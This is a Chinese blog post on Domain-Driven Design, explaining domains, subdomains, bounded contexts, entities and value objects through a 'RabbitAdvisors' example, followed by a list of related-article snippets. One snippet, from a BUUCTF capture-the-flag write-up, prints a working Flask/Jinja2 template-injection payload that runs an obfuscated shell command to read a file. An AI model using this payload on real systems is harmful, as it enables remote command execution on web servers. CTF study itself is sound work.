架构师篇 DDD领域驱动设计篇2

一 DDD所包含的划分逻辑

1.1 DDD领域划分

在DDD中可以分为战略设计和战术设计,各自包含的内容如下图所示:

1.2 战略设计

战略设计指的是对整个领域进行分析和规划,确定领域中的概念、业务规则和领域边界等基础性问题。在战略设计中,需要对领域进行全面的了解和分析,探究业务的规则和本质,并且需要考虑到领域的未来发展趋势和可能的变化。领域、子域和限界上下文属于战略设计的范畴

 

1.2.1 领域

领域(Domain)其实就是一个组织所要做的整个事情,以及这个事情下所包含的一切内容。这是一个范围概念,而且是面向业务的(注意这里不是面向技术的,更不是面向数据库的持久化)每个组织都有自己的人员、规则和流程,当你为该组织开发软件的时候,你面对的就是这个组织的领域。:知识付费领域

1.2.2 子域

子域是指在一个大的领域中,可以进一步划分出来的独立的业务子领域,它们有着自己的业务概念、规则和流程等。如:子域可以有订阅域、金融域、专栏域等。为了区分重要性的不同,我们又会将子域划分成核心域、通用域以及支撑域。

1.核心域

决定公司和产品核心竞争力的子域就是核心域,它是业务成功的主要因素。核心域直接对业务产生价值。例如,在“RabbitAdvisors”中,订阅域就是核心域。

2.通用域

没有太多个性化的诉求,同时被多个子域使用的、具有通用功能的子域就是通用域。通用域间接对业务产生价值。例如,在“RabbitAdvisors”中,权限域、登录域就是通用域。

3.支撑域

支撑其他领域业务,具有企业特性,但不具有通用性。支撑域间接对业务产生价值,例如,在“RabbitAdvisors”中,专栏域、评论域就是支撑域。

1.2.3 限界上下文*

限界上下文就是业务边界的划分,这个边界可以是一个子域或者多个子域的集合。如何进行划分,一个行之有效的方法是一个界限上下文必须支持一个完整的业务流程,保证这个业务流程所涉及的领域都在一个限界上下文中。限界上下文是微服务拆分的依据,即每个限界上下文对应一个微服务。例如,在“RabbitAdvisors”中,可以有一个限界上下文叫“专栏订阅上下文”,它就包含了订单域和订阅域。

1.3 战术设计

1.3.1 战术设计概述

战术设计则是在战略设计的基础上,对领域中的具体问题进行具体的解决方案设计。战术设计关注的是领域中的具体情境和场景,需要针对具体的问题进行具体的分析和设计,以满足业务需求。实体、值对象、聚合、工厂、资源库、领域服务和领域事件就属于战术设计的范畴。

1.3.2 实体

1.3.2.1 实体的概念

定义:实体是拥有唯一标识和状态,且具有生命周期的业务对象。实体通常代表着现实世界中的某个概念,实体与领域模型密切相关,它是领域模型中多个属性、操作或者行为的载体。例如:在“RabbitAdvisors”中,专栏、课程文章、订阅都是实体。但是在领域模型中实体与传统架构中的实体有类似的地方但是不完全一样, 在DDD实体的代码形态一般有四种形态:

失血模型模型仅仅包含数据的定义和getter/setter方法,业务逻辑和应用逻辑都放到服务层中。这种类在Java中叫POJO。

贫血模型:贫血模型中包含了一些业务逻辑,但不包含依赖持久层的业务逻辑。这部分依赖于持久层的业务逻辑将会放到服务层中。

充血模型:充血模型中包含了所有的业务逻辑,包括依赖于持久层的业务逻辑。

胀血模型:胀血模型就是把和业务逻辑不想关的其他应用逻辑(如授权、事务等)都放到领域模型中。

建议实体采用贫血模型,实体和领域服务共同构成领域模型。这样可以使得实体具备业务知识,但又不至于太过臃肿。

领域模型中的实体是多个属性、操作或行为的载体。

事件风暴中,我们可以根据命令、操作或者事件,找出产生这些行为的业务实体对象,进而按照一定的业务规则将依存度高和业务关联紧密的多个实体对象和值对象进行聚类,形成聚合。可以这么理解,实体和值对象是组成领域模型的基础单元。

1.3.2.2 实体的运行形态

DDD里,这些实体类通常采用充血模型,与这个实体相关的所有业务逻辑都在实体类的方法中实现,跨多个实体的领域逻辑则在领域服务中实现。

充血模型和贫血模型,其实就是一个相对的概念,在我们之前的MVC架构设计中, 一般数据放在数据层,也就是实体中只包含属性,对应的行为放在服务层, 这种实体不包含任何行为只包含属性的模型称之为贫血模型,而充血模型就是实体中包含属性与行为

1.3.2.3 实体的运行时态

实体以DO(领域对象)的形式存在,每个实体对象都有唯一的ID。

DDD是先构建领域模型,针对实际业务场景构建实体对象和行为,再将实体对象映射到数据持久化对象

实体具有业务属性、业务行为和业务逻辑

1.3.3 值对象

定义:通过对象属性值来识别的对象,它将多个相关属性组合为一个概念整体。在DDD中用来描述领域的特定方面,并且是一个没有标识符的对象,叫作值对象。值对象没有唯一标识,没有生命周期,不可修改,当值对象发生改变时只能替换。

值对象的业务形态:大多数情况下实体具有很多属性,这些属性一般都是平铺,但有的属性进行归类和聚合后能够表达一个业务含义,就将这些属性封装到一起形成值对象,从而方便沟通而无需关注细节,因此可以说值对象就是用来描述实体的特征。当然实体的单一属性也是值对象。

值对象的代码形态:值对象有两种:单一属性的值对象,例如字符串、整型、枚举等;多个属性的值对象,这时候设计成class,包含多个属性,但是没有ID,值对象中可以嵌套值对象。

1.3.3.1 值对象运行时态

在DDD中用来描述领域的特定方面,并且是一个没有标识符的对象,叫作值对象值对象本质上就是一个集合集合内容包含若干个用于描述目的、具有整体概念和不可修改的属性。在领域建模的过程中,值对象可以保证属性归类的清晰和概念的完整性,避免属性零碎。一般来说[省、市、区]就可以看成一个值对象用来描述实体的地址

人员实体原本包括:姓名、年龄、性别以及人员所在的省、市、县和街道等属性。这样显示地址相关的属性就很零碎了对不对?现在,我们可以将“省、市、县和街道等属性”拿出来构成一个“地址属性集合”,这个集合就是值对象了

值对象只是若干个属性的集合,只有数据初始化操作和有限的不涉及修改数据的行为,基本不包含业务逻辑。

1.3.3.2 值对象的代码形态

值对象在代码中有这样两种形态。如果值对象是单一属性,则直接定义为实体类的属性;如果值对象是属性集合,则把它设计为 Class 类,Class 将具有整体概念的多个属性归集到属性集合,这样的值对象没有ID,会被实体整体引用。我们看一下下面这段代码,person 这个实体有若干个单一属性的值对象,比如Id、name等属性;同时它也包含多个属性的值对象,比如地址 address。

1.3.3.3 值对象的运行形态

值对象嵌入到实体的话,有这样两种不同的数据格式,也可以说是两种方式,分别是属性嵌入的方式和序列化大对象的方式。引用单一属性的值对象或只有一条记录的多属性值对象的实体,可以采用属性嵌入的方式嵌入。引用一条或多条记录的多属性值对象的实体,可以采用序列化大对象的方式嵌入

1.以属性嵌入的方式:

2.以序列化大对象方式:

 1.3.3.4 实体和值对象的关系

 实体和值对象是微服务底层的最基础的对象,一起实现实体最基本的核心领域逻辑。

 传统的数据模型设计通常是一个表对应一个实体,一个主表关联多个从表,当实体表太多的时候就很容易陷入无穷无尽的复杂的数据库设计,领域模型就很容易被数据模型绑架。

在领域模型中人员是实体,地址是值对象,地址值对象被人员实体引用。在数据模型设计时,地址值对象可以作为一个属性集整体嵌入人员实体中,组合形成上图这样的数据模型;也可以以序列化大对象的形式加入到人员的地址属性中,前面表格有展示。从这个例子中,我们可以看出,同样的对象在不同的场景下,可能会设计出不同的结果。有些场景中,地址会被某一实体引用,它只承担描述实体的作用,并且它的值只能整体替换,这时候你就可以将地址设计为值对象,比如收货地址。而在某些业务场景中,地址会被经常修改,地址是作为一个独立对象存在的,这时候它应该设计为实体,比如行政区划中的地址信息维护。

https://zhuanlan.zhihu.com/p/490244447?utm_id=0

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/263105.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

0基础学java-day14-(集合)

一、集合 前面我们保存多个数据使用的是数组,那么数组有不足的地方,我们分析一下 1.数组 2 集合 数据类型也可以不一样 3.集合的框架体系 Java 的集合类很多,主要分为两大类,如图 :[背下来] package com.hspedu.c…

大话数据结构-查找-多路查找树

注:本文同步发布于稀土掘金。 7 多路查找树 多路查找树(multi-way search tree),其每个结点的孩子可以多于两个,且每一个结点处可以存储多个元素。由于它是查找树,所有元素之间存在某种特定的排序关系。 …

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

期末速成数据库极简版【查询】(3)

目录 多表查询 【8】多表连接——内连接 🙂等值连接 🙂自然连接 🙂非等值连接 【9】多表连接——外连接 【10】交叉连接不考 【11】联合查询 【12】扩展多表连接 【13】嵌套查询 🙂 多表查询 【8】多表连接——内连…

从Java8升级到Java17,特色优化点

从Java8升级到Java17,特色优化点 一、局部变量类型推断二、switch表达式三、文本块四、Records五、模式匹配instanceof六、密封类七、NullPointerException 从Java 8 到 Java 20,Java 已经走过了漫长的道路,自 Java 8 以来,Java 生…

WorkPlus即时通讯app,支持私有化部署的企业IM

当企业面临复杂的协同、业务和生态场景时,多个繁琐的应用和系统常常让员工头疼不已。然而,WorkPlus作为企业数字化转型的超级APP,以其一站式全能解决方案,为企业带来了颠覆性的便利与高效。本文将深入探讨WorkPlus的特点和优势&am…

浅谈Python异常处理机制

异常机制己经成为衡量一门编程语言是否成熟的标准之一,使用异常处理机制的 Python 程序有更好的容错性,更加健壮。 对于计算机程序而言,情况就更复杂了一一没有人能保证自己写的程序永远不会出错误!就算程序没有错误,…

六何分析法分析uniApp

一、什么是 uniApp(What) uni-app 是一个使用 Vue.js 开发所有前端应用的框架,开发者编写一套代码,可发布iOS、Android、H5、以及各种小程序( 微信/支付宝/百度/头条/00/钉钉/淘宝)、快应用等多个平台。uni-app 在手,…

SQL语言重温

数据库语言重温 笔记背景SQL教程一些最重要的 SQL 命令SQL WHERE 子句SQL AND & OR 运算符SQL ORDER BY 关键字 笔记背景 由于工作需要,现重温简单SQL语言,笔记记录如下。 SQL教程 SQL(Structured Query Language:结构化查询语言&…

python使用turtle画变形金刚

1.源代码 import turtle tturtle.Turtle() turtle.Turtle().screen.delay(0) tleftturtle.Turtle() #第一部分 t.penup() t.goto(0,0) t.pendown() t.left(20) t.forward(110) t.left(25) t.forward(40) t.left(100) t.circle(180,20) t.right(120) t.forward(250) t.left(165)…

京东商品详情数据在数据分析行业中的重要性

京东商品详情数据在数据分析行业中具有重要作用。这些数据提供了丰富的信息,可以帮助企业了解市场趋势、消费者需求、产品表现以及运营策略等多个方面。 首先,京东商品详情数据可以为企业提供市场趋势分析的依据。通过观察商品的销售量、销售额、价格等…

Docker网络架构介绍

本文主要介绍了Docker容器的单机网络架构与集群网络架构,辅以演示,并简单介绍了网络管理中的命令。 前文: Docker的安装与简单操作命令-CSDN博客 docker网络原理介绍 与ovs类似,docker容器采用veth-pair linux bridge (虚拟交…